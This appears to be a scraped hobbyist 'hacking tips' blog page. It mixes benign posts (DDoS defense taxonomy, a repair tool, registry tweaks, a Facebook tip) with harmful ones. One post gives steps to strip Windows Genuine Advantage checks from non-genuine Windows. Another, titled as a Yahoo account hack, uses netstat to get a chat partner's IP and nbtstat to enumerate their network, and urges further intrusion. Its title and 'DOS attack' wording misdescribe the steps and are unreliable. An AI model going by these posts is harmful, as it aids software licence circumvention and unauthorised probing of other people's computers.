dynamics or expected system performance. The current state of the system is periodically compared with the models to detect anomalies. Approaches presented in provide examples of mechanisms that use anomaly detection. The advantage of anomaly detection over pattern detection is that unknown attacks can be discovered. However, anomaly-based detection has to address two issues:<br /><br />1. Threshold setting. Anomalies are detected when the current system state differs from the model by a certain threshold. The setting of a low threshold leads to many false positives, while a high threshold reduces the sensitivity of the detection mechanism.<br /><br />2. Model update. Systems and communication patterns evolve with time, and models need to be updated to reflect this change. Anomaly based systems usually perform automatic model update using statistics gathered at a time when no attack was detected. This approach makes the detection mechanism vulnerable to increasing rate attacks that can mistrial models and delay or even avoid attack detection.<br /><br /><b>Mechanisms with Hybrid Attack Detection</b><br /><br />Mechanisms that deploy hybrid detection combine the pattern-based and anomaly-based detection, using data about attacks discovered through an anomaly detection mechanism to devise new attack signatures and update the database. Many intrusion detection systems use hybrid detection. If these systems are fully automated, properly extracting a signature from a detected attack can be challenging. The system must be careful not to permit attackers to fool it into detecting normal behavior as an attack signature, or the system itself becomes a denial-of-service tool.<br /><b><br />Mechanisms with Third-Party Attack Detection</b><br /><br />Mechanisms that deploy third-party detection do not handle the detection process themselves, but rely on an external message that signals the occurrence of the attack and provides attack characterization. Examples of mechanisms that use third-party detection are easily found among trace back mechanisms The goal of the attack response is to relieve the impact of the attack on the victim, while imposing minimal collateral damage to legitimate clients of the victim. I classify reactive mechanisms based on the response strategy into mechanisms that deploy agent identification, rate-limiting, filtering and reconfiguration approaches.<br /><br /><b>Agent Identification Mechanisms</b><br /><br />Agent identification mechanisms provide the victim with information about the identity of the machines that are performing the attack. This information can then be combined with other response approaches to alleviate the impact of the attack. Agent identification examples include numerous trace back techniques and approaches that eliminate spoofing thus enabling use of the source address field for agent identification.<br /><b><br />Rate-Limiting Mechanisms</b><br /><br />Rate-limiting mechanisms impose a rate limit on a stream that has been characterized as malicious by the detection mechanism. Examples of rate limiting mechanisms are found in Rate limiting is a lenient response technique that is usually deployed when the detection mechanism has a high level of false positives or cannot precisely characterize the attack stream. The disadvantage is that they allow some attack traffic through, so extremely high scale attacks might still be effective even if all traffic streams are rate-limited.<br /><br /><b>Filtering Mechanisms</b><br /><br />Filtering mechanisms use the characterization provided by a detection mechanism to filter out the attack stream completely. Examples include dynamically deployed firewalls , and also a commercial system Traffic Master . Unless detection strategy is very reliable, filtering mechanisms run the risk of accidentally denying service to legitimate traffic. Worse, clever attackers might leverage them as denial-of service tools.<br /><br /><b>Reconfiguration Mechanisms</b><br /><br />Reconfiguration mechanisms change the topology of the victim or the intermediate network to either add more resources to the victim or to isolate the attack machines. Examples include reconfigurable overlay networks, resource replication services, attack isolation strategies etc. Reactive DDoS defense mechanisms can perform detection and response either alone or in cooperation with other entities in the Internet. Based on the cooperation degree we differentiate between autonomous, cooperative and interdependent mechanisms.<br /><br /><b>Autonomous Mechanisms</b><br /><br />Autonomous mechanisms perform independent attack detection and response. They are usually deployed at a single point in the Internet and act locally. Firewalls and intrusion detection systems provide an easy example of autonomous mechanisms.<br /><br /><b>Cooperative Mechanisms</b><br /><br />Cooperative mechanisms are capable of autonomous detection and response, but can achieve significantly better performance through cooperation with other entities. Mechanisms deploying pushback provide examples of cooperative mechanisms. They detect the occurrence of a DDoS attack by observing congestion in a router’s buffer, characterize the traffic that creates the congestion, and act locally to impose a rate limit on that traffic. However, they achieve significantly better performance if the rate limit requests can be propagated to upstream routers who otherwise may be unaware of the attack.<br /><b><br />Interdependent Mechanisms</b><br /><br />Interdependent mechanisms cannot operate autonomously; they rely on other entities either for attack detection or for efficient response. Traceback mechanisms provide examples of interdependent mechanisms. A traceback mechanism deployed on a single router would provide almost no benefit.<br /><br /><b>Classification by Deployment Location</b><br /><br />With regard to a deployment location, we differentiate between DDoS mechanisms deployed at the victim, intermediate, or source network.<br /><br /><b>Victim-Network Mechanisms</b><br /><br />DDoS defense mechanisms deployed at the victim network protect this network from DDoS attacks and respond to detected attacks by alleviating the impact on the victim. Historically, most defense systems were located at the victim since it suffered the greatest impact of the attack and was therefore the most motivated to sacrifice some resources for increased security. Resource accounting and protocol security mechanisms provide examples of these systems.<br /><br /><b>Intermediate-Network Mechanisms</b><br /><br />DDoS defense mechanisms deployed at the intermediate network provide infrastructural service to a large number of Internet hosts. Victims of DDoS attacks can contact the infrastructure and request the service, possibly providing adequate compensation. Pushback and traceback techniques are examples of intermediate-network mechanisms.<br /><br /><b>Source-Network Mechanisms</b><br /><br />The goal of DDoS defense mechanisms deployed at the source network is to prevent customers using this network from generating DDoS attacks. Such mechanisms are necessary and desirable, but motivation for their deployment is low since it is unclear who would pay the expenses associated with this service. Mechanisms proposed in provide examples of source-network mechanisms.

DDoS Attacks and DDoS Defense Mechanisms

Introduction Distributed denial-of-service attacks (DDoS) pose an immense threat to the Internet, and consequently many defense mechanisms h...

Read more »

How to Remove Windows Genuine Advantage Notifications Screen

<b>Disclaimer: </b>This article is for informational and educational purpose only, as most information is found on various part of Internet. Readers should contacts Microsoft if their licensed or OEM software cannot be validated or purchase genuine software.<br /><br />When you log on to a non-genuine copy of Windows XP, the following notification error message <b>“This copy of Windows is not genuine”</b> will pop-up on the logon process:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOwml31ONuJbQP5gPvxYMJebOyZ4iROIzgQ3l-I9Rjjl1MejSTfgEEnCCpJ46j_JWds-bAD8NZIdfviyLw1eKYBQq8wiYpfAy-GUdJdKy_jqUNDuzHIQ-_qEMPSOq5wskNBLvACBu8CMc/s1600/This-copy-of-Windows-is-not-genuine.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOwml31ONuJbQP5gPvxYMJebOyZ4iROIzgQ3l-I9Rjjl1MejSTfgEEnCCpJ46j_JWds-bAD8NZIdfviyLw1eKYBQq8wiYpfAy-GUdJdKy_jqUNDuzHIQ-_qEMPSOq5wskNBLvACBu8CMc/s1600/This-copy-of-Windows-is-not-genuine.jpg" /></a></div><br />And the nicely said “You may be a victim of software counterfeiting” message on the bottom right corner of log-in screen:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjntb9PlSKWO1pJ-vMaKmBg95dxmohCzHXZRh2ekw1TJnk8M3R6THYxwSLzdZ4kdhh3ZmY_I68r_rqQqqP0Vefyw_myrdm8HCORV3aoDj6NagggB68WaqdE2smCboHrL86QvGhk3vRjZ-0/s1600/You-may-be-a-victim-of-software-counterfeiting.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjntb9PlSKWO1pJ-vMaKmBg95dxmohCzHXZRh2ekw1TJnk8M3R6THYxwSLzdZ4kdhh3ZmY_I68r_rqQqqP0Vefyw_myrdm8HCORV3aoDj6NagggB68WaqdE2smCboHrL86QvGhk3vRjZ-0/s1600/You-may-be-a-victim-of-software-counterfeiting.jpg" /></a></div><br />Microsoft allows Windows faithfuls to have 2 options: Get Genuine or Resolve Later. Click on Resolve Later will temporarily bypass the notification and let you login into and use Windows nagged with notification icon and messages, which will randomly appear as balloon notification message with an icon in the notification area (system tray).<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1BXWh59zJccohPfF1s8HLx_hJbiD3qivHrhFjljKrc8vy1jtARqG2fnU3YzG1I8_iS47NNZWi_0yTzi79_eDTkitYlFcZTWZbCaUQOdsosPb2cqq8rsogCbwcGN-7n5et-MTe5oh5p_4/s1600/system-tray.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1BXWh59zJccohPfF1s8HLx_hJbiD3qivHrhFjljKrc8vy1jtARqG2fnU3YzG1I8_iS47NNZWi_0yTzi79_eDTkitYlFcZTWZbCaUQOdsosPb2cqq8rsogCbwcGN-7n5et-MTe5oh5p_4/s1600/system-tray.jpg" /></a></div><br />Clicking on the balloon notification or the notification area icon will lead you to the Windows Genuine Advantage Validation Failure Web page that contains the specifics of the validation failure and the steps that you can take to make the operating system genuine.<br />To get rid of the WGA notifications that intends to remind you that your Windows is not validated, you can buy a validly licensed copy of genuine Microsoft Windows.<br /><br />With new release of  WGA, some methods no longer works, and some has been updated. Several methods that has certain success on certain people, you may try until you success.<br /><br />   1. Lauch Windows Task Manager.<br />   2. End wgatray.exe process in Task Manager.<br />   3. Restart Windows XP in Safe Mode.<br />   4. Delete WgaTray.exe from c:\Windows\System32.<br />   5. Delete WgaTray.exe from c:\Windows\System32\dllcache.<br />   6. Lauch RegEdit.<br />   7. Browse to the following location:<br />      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\<br />      Windows NT\CurrentVersion\Winlogon\Notify<br />   8. Delete the folder ‘WgaLogon’ and all its contents<br />   9. Reboot Windows XP.<br /><br />Note: With this method, you may be prompted to install WGA Notifications again which can still be unselected.

How to Remove Windows Genuine Advantage Notifications Screen

Disclaimer: This article is for informational and educational purpose only, as most information is found on various part of Internet. Reader...

Read more »

How to enable Task Manager, Regedit, System Restore, MsConfig, Control Panel, Cmd, Run After a virus attack

That’s where tools like Re-Enable aid the user. The software programoffers to activate Windows features like Regedit, Windows Task Manager, System Restore, MsConfig or the Control Panel after a virus attack.<br /><br />It displays all features in the main interface upon startup. Some or all of the apps and functions can be selected for fixing.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnq9MkSK-mlgyS8Y7e_2bUyVp3Uc3k30vHtex05TV5Cnsj4QEK137j_0-VJEwek4ruKWC01MGv1IDZo39KWe9kZfKSZ5TMG24P4IxN6l4yPCTlf85y-kR_V8mRIwafHcNy3849ZPmsAUE/s1600/re-enable.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnq9MkSK-mlgyS8Y7e_2bUyVp3Uc3k30vHtex05TV5Cnsj4QEK137j_0-VJEwek4ruKWC01MGv1IDZo39KWe9kZfKSZ5TMG24P4IxN6l4yPCTlf85y-kR_V8mRIwafHcNy3849ZPmsAUE/s1600/re-enable.png" /></a></div><br />A click on the Re-enable button after the selection will start the recovery process.<br /><br />The program offers a Tool menu on top that comes with additional troubleshooting utilities. Here it is possible to restore Safe Mode, edit Hosts files, reset files and folder attributes, unhide drives, repair the desktop, repair explorer.exe startup problems or scan for and delete autorun.inf files.<br /><br />Re-Enable is a handy program to repair a system after a virus attack. The developer has created a lite version which requires the Microsoft .net Framework 3.5 SP1 and a portable version which has no dependencies but is 30 times the size of the lite version (700 KB to 22 MB).<br /><blockquote><b><a href="http://www.tangosoft.co.uk/downloads.html">Download: Re-Enable</a></b></blockquote>

How to enable Task Manager, Regedit, System Restore, MsConfig, Control Panel, Cmd, Run After a virus attack

That’s where tools like Re-Enable aid the user. The software programoffers to activate Windows features like Regedit, Windows Task Manager, ...

Read more »

Hack your Server to Speed up Internet explorer "Without any software"

# Open the Registry editor.<br />go to <b>Start -->Run</b> and typing <b>regedit.</b><br /><br /># Once in Registry editor window is opened, navigate to the key:<br /><b>HKEY_CURRENT_USER\Software\microsoft\Windows\CurrentVersion\InternetSettings.</b><br /><br />#Now right click on the window on your right and add a New <b>DWORD </b>Value.<br />Rename it <b>MaxConnectionsPerServer</b>.<br /><br /># Next right click on <b>MaxConnectionsPerServer </b>to edit the Dword Value.<br />Choose a base.If it is Hexadecimal,set the value to <b>99</b>. If you opt for Decimal,set it to <b>153</b>.<br /><br /># Create another DWORD and rename it<b> MaxConnectionsPer1_0Server</b>.<br /><br />Here,too,put the value mentioned above.<br /><br />#Restart Internet Explorer and watch the boost you get in your connection.<br /><br /><b>DNS TRICK:</b><br /><br />When you connect to a website,your computer sends information back forth.Some of this deals with resolving the site name to an IP address.This is the stuff that <b>TCP/IP </b>really deals with,not words.You can increase the DNS cache by a simple Registry tweak.<br /><br />#Open Notepad and copy-paste the following code and save it with the filename <b>dnscache.reg</b> .<br /><br /><i>This is what you have to copy:</i><br /><blockquote><span style="font-family: Times,"Times New Roman",serif;">Windows registry Editor Version 5.00</span><br /><span style="font-family: Times,"Times New Roman",serif;">[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]</span><br /><span style="font-family: Times,"Times New Roman",serif;">"CacheHashTableBucketSize"=dword:00000001</span><br /><span style="font-family: Times,"Times New Roman",serif;">"CacheHashTableSize"=dword:00000180</span><br /><span style="font-family: Times,"Times New Roman",serif;">"MaxCacheEntryTtlLimit"=dword:0000fa00</span><br /><span style="font-family: Times,"Times New Roman",serif;">"MaxSOACacheEntryTtlLimit"=dword:0000012d</span></blockquote>Enjoy!!!

Hack your Server to Speed up Internet explorer "Without any software"

# Open the Registry editor. go to Start -->Run and typing regedit. # Once in Registry editor window is opened, navigate to the key: HKEY...

Read more »

How to Make a Keygen in Visual Basic

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV4FoKg5GvRLCnvckv66oI0X6usiGHqMR6Uwbfb3io-C8ZTm8eTW90l0K7FHo1nZK0Xcv-IzwKLYPq3pEDqkQQSpQrsRSuEoZSj4uSKOO6eTVb4nx115mHsCBCscg5lVLJEdSwMuDCPjE/s1600/Key+Gen.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV4FoKg5GvRLCnvckv66oI0X6usiGHqMR6Uwbfb3io-C8ZTm8eTW90l0K7FHo1nZK0Xcv-IzwKLYPq3pEDqkQQSpQrsRSuEoZSj4uSKOO6eTVb4nx115mHsCBCscg5lVLJEdSwMuDCPjE/s200/Key+Gen.jpg" width="200" /></a></div>Most commercial software uses some form of random keys to authenticate and register a legitimate copy when the program is installed. Commonly this is a series of random letters grouped in varying numbers of letters. For example, you might see this sequence: <b>DXUWB-GPHQE-CCNYQ-QFHAT-ZFBLO </b>on a licensed program. Specialized software called Key Generators, or KeyGen creates these codes, but you can make your own using only 16 lines of Visual Basic code.<br /><br /><ul><li>Start a new project in Visual Basic, selecting the "Standard.EXE" template from the list offered under "File" and "New Project." Click on "File," "Save Project As" and name both the form and project "MyKeyGen" when prompted.</li></ul><ul><li>Add a "CommandButton" control to the open form by double clicking this control in the Toolbox on the left of your screen. This control is an icon shaped like a small rectangle. Normally it is the third control down in the right hand column of the ToolBox. Add a label to the form in the same way. The label icon is a large letter "A" in the toolbox.</li></ul><ul><li>Click on the new "Command1" button now on the form to focus on its properties in the "Properties" panel on the right. Double click on the "(Name)" property to highlight the default name, "Command1." Change this name to "KeyGen". Click on the caption property and change it to "Generate Key". Click on the new Label1 on the form and make these changes to its properties:</li></ul><blockquote>Delete the Caption name.<br />Scroll down in the properties list until you find "Height" and change this to 500.<br />Scroll to the bottom of the properties and change the "Width" to 1200.</blockquote><ul><li>Click on "View" in the main Visual Basic menu at the top and chose "Code." This opens the Code window where you should type these lines exactly as they appear:</li></ul><blockquote>Option Base 1<br />Option Explicit<br />Private Sub KeyGen_Click()<br />Dim n As Integer<br />Dim KeyGen(26) As Long<br />Dim NewKey, FinalKey As String<br />Randomize<br />For n = 1 To 26<br />KeyGen(n) = Int(Rnd * 26) + 1<br />KeyGen(n) = KeyGen(n) + 64<br />NewKey = Chr$(KeyGen(n))<br />FinalKey = FinalKey + NewKey<br />Next<br />FinalKey = Left(FinalKey, 5) + "-" + Mid(FinalKey, 6, 5) + "-" + Mid(FinalKey, 11, 5) + "-" + Mid(FinalKey, 17, 5)<br />Label1.Caption = FinalKey<br />End Sub</blockquote><ul><li>Save the project by clicking on "File" and "Save Project." Press "F5" to run the program. The declarations in the lines beginning "Dim" specify how the program variables are used. "KeyGen(26)" creates an array of variables with 26 possibilities and the "Option Base 1" ensures the first of the 26 is numbered one. "Randomize" generates a new random seed each time the program runs. The rest of the lines create a series of random numbers, which are then converted to letters. Since ASCII code for the alphabet begins with ASCII 65, we have to add 64 to each random number before the conversion. In the end, a list of four sets of random letters separated by hyphens is created and displayed in the label box.</li></ul><b>Tips and Warnings</b><br /><br /><ul><li>If you need a longer series of key letters, add an additional segment to the end of the line beginning "Final Key = Left(Finalkey,5)". Insert at the end of this line the following code: </li></ul><ul><li>+ "-" + Right(FinalKey,5)</li></ul><ul><li>To create four letter sequences, or vary the number of letters in each group, change the fives in the FinalKey line to other numbers. </li></ul><ul><li>Using arrays can be tricky, particularly when you set a limit on the maximum number and use repeating sequences. If you get a message "Run-time error 9, subscript out of range," you entered a larger number in one of the lines than the array can hold.</li></ul>

How to Make a Keygen in Visual Basic

Most commercial software uses some form of random keys to authenticate and register a legitimate copy when the program is installed. Commonl...

Read more »

Hack a Yahoo Account While Chatting

<blockquote>This is only for education purpose.<br />So who ever try this is at his risk.</blockquote>I am not sure that this will work 100 %.<br />But yes will work almost 70 percent of the times.<br />But before that you need to know some few things of yahoo chat protocol<br /><u><b>leave a comment</b> here after u see the post lemme know if it does works or not or u having a problem post here.</u><br /><br /><b>Following are the features : -</b><br /><br />1) When we chat on yahoo every thing goes through the server.Only when we chat thats messages.<br /><br />2) When we send files yahoo has 2 options<br />a) Either it uploads the file and then the other client has to down load it.<br />Either it connects to the client directly and gets the files<br /><br />3) When we use video or audio:-<br />a) It either goes thru the server or it has client to client connection.<br /><br />And when we have client to client connection the opponents IP is revealed.On the 5051 port.So how do we exploit the Chat user when he gets a direct connection. And how do we go about it.Remember i am here to hack a system with out using a TOOL only by simple net commands and yahoo chat techniques.Thats what makes a difference between a real hacker and new bies.<br /><br /><b>So lets analyse</b><br /><br />1) Its impossible to get a Attackers IP address when you only chat.<br />2) There are 50 % chances of getting a IP address when you send files<br />3) Again 50 % chances of getting IP when you use video or audio.<br /><br />So lets exploit those 50 % chances .<br />I'll explain only for files here which lies same for Video or audio<br /><br />1) Go to dos<br />type -><br /><b>netstat -n 3</b><br />You will get the following output.Just do not care and be cool<br />Active Connections<br /><br /><b>Proto Local Address Foreign Address State</b><br /><b>TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED<br />TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED<br />TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED<br />TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED</b><br /><br />Active Connections<br /><br /><b>Proto Local Address Foreign Address State<br />TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED<br />TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED<br />TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED<br />TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED</b><br /><br />Just i will explain what the out put is in general.In left hand side is your IP address.And in right hand side is the IP address of the foreign machine.And the port to which is connected.Ok now so what next -><br /><br />2) Try sending a file to the Target .<br />if the files comes from server.Thats the file is uploaded leave it. You will not get the ip.But if a direct connection is established HMMMM then the first attacker first phase is over. This is the output in your netstat. The 5101 number port is where the Attacker is connected.<br />Active Connections<br /><br /><b>Proto Local Address Foreign Address State<br />TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED<br />TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED<br />TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED<br />TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED<br />TCP 194.30.209.15:5101 194.30.209.14:3290 ESTABLISHED</b><br /><br /><br />3) so what next???<br />Hmmm........ Ok so make a DOS attack now<br />Go to dos prompt and<br />Just do<br />nbtstat -A Attackers IPaddress.Can happen that if system is not protected then you can see the whole network.<br /><b>C:\>nbtstat -A 194.30.209.14</b><br /><br />Local Area Connection:<br />Node IpAddress: [194.30.209.15] Scope Id: []<br /><br />NetBIOS Remote Machine Name Table<br /><br />Name Type Status<br />---------------------------------------------<br /><b>EDP12 <00> UNIQUE Registered<br />XYZ <00> GROUP Registered<br />XYZ <20> UNIQUE Registered<br />XYZCOMP1 <1E> GROUP Registered</b><br /><br /><b>MAC Address = 00-C0-W0-D5-EF-9A</b><br /><br />Ok so you will ask now what next???<br /><br />No you find what you can do with this network than me explaining everything.<br />so post ur comments and lemme know....<br /><br /><i><b>So the conclusion is never exchange files , video or audio till you know that the user with whom you are chatting is not going to harm you.</b></i>

Hack a Yahoo Account While Chatting

This is only for education purpose. So who ever try this is at his risk. I am not sure that this will work 100 %. But yes will work almost 7...

Read more »

How To Edit Your Facebook Comment

After Facebook removed the <b>“Comment” button</b>, there was a clear risk of accidentally publishing unfinished comments as users are used to pressing “Enter” to start a new line, instead of using the key to submit their comment. Facebook took note of the concern, and added the option to edit your comment right after you posted it. They also added the instruction: “Press Shift+Enter to start a new line”.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPQkW1Td1l4gfYNmAVx6lfdRkaBZECpXWf1fUZ0vNuDu8NeEpVbLs34e6GPbP8MY1PqfFuX5VprzfsKSeBG5jIh4hddVbqXTgnSyEP2GiG61cNZvRRAZH0YAmEHldsp_HcOR3f5ff4Py0/s1600/edit-facebook-comment.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPQkW1Td1l4gfYNmAVx6lfdRkaBZECpXWf1fUZ0vNuDu8NeEpVbLs34e6GPbP8MY1PqfFuX5VprzfsKSeBG5jIh4hddVbqXTgnSyEP2GiG61cNZvRRAZH0YAmEHldsp_HcOR3f5ff4Py0/s1600/edit-facebook-comment.png" /></a></div><br />So if you want to edit your message, click the <b>X</b> in the top right corner right after posting it. But be aware that the editing ability will disappear after half a minute, or as soon as somebody else comments after you. If that happens, pressing X will only allow you to remove your entire message.

How To Edit Your Facebook Comment

After Facebook removed the “Comment” button , there was a clear risk of accidentally publishing unfinished comments as users are used to pre...

Read more »